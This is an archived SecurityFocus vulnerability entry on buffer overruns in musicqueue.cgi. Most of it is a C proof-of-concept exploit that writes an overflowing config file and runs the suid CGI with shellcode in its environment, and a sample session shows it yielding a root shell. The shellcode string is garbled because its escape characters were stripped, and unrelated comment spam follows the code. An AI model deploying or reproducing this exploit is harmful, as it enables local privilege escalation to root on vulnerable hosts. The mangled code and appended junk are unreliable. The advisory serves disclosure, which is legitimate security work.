source: http://www.securityfocus.com/bid/8903/info
Multiple buffer overrun vulnerabilities have been discovered in Musicqueue. Both issues stem from the lack of bounds checking when passing user-supplied input to the sprintf() libc function. As a result, it may be possible for an attacker to exploit arbitrary code with the privileges the affected application, possibly installed suid or sgid.
/*
**
** 0x82-musicqueue_over - musicqueue.cgi local root `Proof of Concept' exploit
**
** This is general overflow exploit.
**
** --
** bash-2.04$ ./0x82-musicqueue_over /tmp/musicqueue-1.1.1/musicqueue.cgi
**
** 0x82-musicqueue_over - musicqueue.cgi v-0.9~1.1.1 `Proof of Concept'
**
** sh-2.04# id
** uid=0(root) gid=0(root) groups=500(x82)
** sh-2.04#
** --
** exploit by "you dong-hun"(Xpl017Elz), <[email protected]>.
** My World: http://x82.i21c.net & http://x82.inetcop.org
**
*/
#include <stdio.h>
int main(int argc,char *argv[])
{
FILE *fp;
int r_rn=0;
char *ent_r[3],atck_d[0x82];
char shellcode[]=
"220@220@220@220@220@220@220@220@220@"
"220@220@220@220@220@220@220@220@220@"
"1300260F133313113152001300260G13331"
"311315200353 37^211vb1300210F 07"
"211Ff260 13211363215Nb215Vf3152001"
"333211330@315200350334377377377"
"/bin/sh";
unsigned long sh_addr=(0xbfffffff-(strlen(shellcode)));
memset((char *)atck_d,0,sizeof(atck_d));
fprintf(stdout,"n 0x82-musicqueue_over - musicqueue.cgi v-0.9~1.1.1 POC exploit.nn");
if(argc<2)
{
fprintf(stdout," Usage: %s [musicqueue.cgi path]nn",argv[0]);
exit(-1);
}
else sh_addr-=(strlen(argv[1]));
atck_d[r_rn++]=0x82;
for(;r_rn<44;r_rn+=4)
{
*(long *)&atck_d[r_rn]=sh_addr;
}
if((fp=fopen("musicqueue.conf","w"))==NULL)
{
fprintf(stderr," [-] musicqueue.conf fopen() error.nn");
return(-1);
}
fprintf(fp,"language = %sn",atck_d);
fclose(fp);
ent_r[0]="REQUEST_METHOD=GET";
ent_r[1]=(shellcode);
ent_r[2]=(NULL);
execle(argv[1],"musicqueue.cgi",NULL,ent_r);
}
恐龙抗狼扛1年前0
kankan啊啊啊啊3年前0
66666666666666